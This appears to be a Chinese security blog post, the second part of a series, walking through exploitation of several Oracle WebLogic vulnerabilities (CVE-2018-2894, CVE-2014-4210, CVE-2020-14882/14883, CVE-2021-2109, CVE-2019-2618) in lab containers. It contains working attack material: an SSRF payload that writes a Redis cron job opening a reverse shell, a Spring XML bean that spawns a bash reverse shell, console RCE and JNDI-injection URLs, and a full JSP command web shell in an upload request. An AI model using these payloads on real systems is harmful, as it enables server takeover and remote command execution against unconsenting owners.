查看原文
其他

weblogic重要漏洞全记录(下)

admin Z2O安全攻防 2022-06-10

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


上篇:


下篇:




weblogic重要漏洞全记录(上)


WebLogic 未授权访问漏洞(CVE-2018-2894)



概述

WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在


影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3


漏洞路径:/ws_utc/config.do   、  /ws_utc/begin.do

漏洞复现

进入CVE-2018-2894的docker环境

这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码

docker-compose logs | grep password

使用得到的密码登入后台,点击高级选项

勾选启用web服务测试页

保存即可进入开发环境


开发环境下的测试页有两个,分别为config.do和begin.do

第一个上传点/ws_utc/config.do
首先进入/ws_utc/config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击添加后上传一个jsp

提交之后点击F12审查元素得到jsp上传后的时间戳

构造得到

http://192.168.111.224:7001/ws_utc/css/config/keystore/1631522785686_shell.jsp

即可连接


第二个上传点/ws_utc/begin.do

访问http://192.168.111.224:7001/ws_utc/begin.do,上传一个jsp

点击提交,这里显示一个error不用管它,在响应包中可以看到上传地址:

构造http://192.168.111.224:7001/ws_utc/css/upload/RS_Upload_2021-09-13_09-06-54_496/import_file_name_shell.jsp

连接:



Weblogic SSRF漏洞(CVE-2014-4210)



概述

Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

10.0.2.0

10.3.6.0

验证漏洞

访问该路径,如果能正常访问,说明存在该漏洞

/uddiexplorer/SearchPublicRegistries.jsp


漏洞复现

vulhub ssrf环境

访问/uddiexplorer/SearchPublicRegistries.jsp,填写任意信息,点击search,抓包

抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET 。

参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code

发现返回如下信息,说明开放7001端口,但是不是http协议


An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.


若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。

访问不存在的端口,将返回could not connect over HTTP to server



weblogic SSRF联动Redis



漏洞复现

依旧用的上面的vulhub-weblogic-SSRF靶场

这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2

docker inspect 39

可以看见6379的端口存在,且为http协议

本机监听12345端口

burp改包直接将弹shell脚本到本机kail上(192.168.111.205)

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.111.205/12345 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave

经过url编码后,写入bp中operator参数的后面:

operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.205%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell成功。



Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)



概述

CVE-2020-14883是越权漏洞,常常和后台代码注入CVE-2020-14882配合,有的时候CVE-2020-14882会不好使,此时可以和CVE-2021-2109配合。

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

影响版本:

10.3.6.0

12.1.3.0

12.2.1.3

12.2.1.4

14.1.1.0

漏洞复现

使用vulhub的CVE-2020-14882环境


CVE-2020-14883

权限绕过漏洞的poc:

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问该url之后,进入如下页面,可以看见成功进入管理台:

但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell


CVE-2020-14882

首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹

访问

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

得到如下界面

我们进入docker查看发现文件夹已经创建成功了:

sudo docker ps


sudo docker exec -it f3a72643602a /bin/bash

这里创建一个xml文件pox.xml,使用bash命令得到反弹shell


<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/192.168.111.205/6666 0>&1]]></value></list></constructor-arg></bean></beans>


nc开启监听端口,访问

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.111.205/poc.xml")

即可得到反弹shell


CVE-2021-2109



概述

CVE-2020-14883是越权漏洞,可以和CVE-2021-2109配合使用。

CVE-2021-2109:攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

影响版本:

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

漏洞复现

访问console登陆页面

http://192.168.2.7:7001/console/login/LoginForm.jsp

启动LDAP

下载地址:

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

启动命令

java -jar JNDIExploit-v1.11.jar -i http://192.168.2.7/

POC:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1Host: 192.168.2.7:7001User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closecmd: idCookie: ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005Upgrade-Insecure-Requests: 1


Weblogic弱口令&&后台getshell



概述

由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。

弱口令参考:https://cirt.net/passwords?criteria=WebLogic

影响版本

全版本

漏洞复现

访问http://127.0.0.1:7001/console

自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台(默认用户名weblogic ,我设置的密码admin888)。

点击部署->安装

点击上载文件,

选择war包,点击下一步

(PS: 将jsp马打包成war包命令:   jar -cvf shell.war shell.jsp

上传完成以后选中你上传的文件,点击下一步

选中作为应用程序安装,点击下一步

然后直接点击完成即可

选用我们安装的应用,点击启动即可

访问:http://ip:port/[war包名]/[包名内文件名]

这里是http://192.168.0.163:7001/shell/shell.jsp

连接:


CVE-2019-2618/CVE-2019-2615



需要后台密码,比较鸡肋。但其一般不会被删除接口,所以可以用来确认是否为weblogic,以及5次爆破密码。

/bea_wls_deployment_internal/DeploymentService/bea_wls_management_internal2/wl_management




WebLogic 任意文件上传(CVE-2019-2618)



概述

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。


受影响WebLogic版本:10.3.6.0、12.1.3.0、12.2.1.3。

漏洞复现

漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/weblogic)


构造的POST包如下所示:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1Host: 192.168.111.129:7001Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0username: weblogicwl_request_type: app_uploadcache-control: no-cachewl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/warserverName: weblogicpassword: yourpasswordcontent-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWarchive: trueserver_version: 10.3.6.0wl_upload_delta: trueContent-Length: 1081
------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"Content-Type: false
<%@ page import="java.util.*,java.io.*"%><%%><HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p;if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));}else{p = Runtime.getRuntime().exec(request.getParameter("cmd"));}OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%></pre></BODY></HTML>
------WebKitFormBoundary7MA4YWxkTrZu0gW--


发送数据包 ,返回了上传文件的地址:

去访问发现执行成功:




Weblogic 任意文件读取(CVE-2019-2615)



该漏洞是任意文件读取漏洞,这个漏洞接口是文件下载相关功能使用的接口,也是weblogic server中内部使用的正常功能,所以该漏洞需要weblogic的用户名密码




技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。




知识星球



团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。


往期文章:



Powershell免杀系列(二)

java代码审计之CC1链(一)

该更新一下你的密码字典了

Powershell 免杀过 defender 火绒,附自动化工具Z2OBot 

域渗透 | kerberos认证及过程中产生的攻击




点一下爱心再走吧!




您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存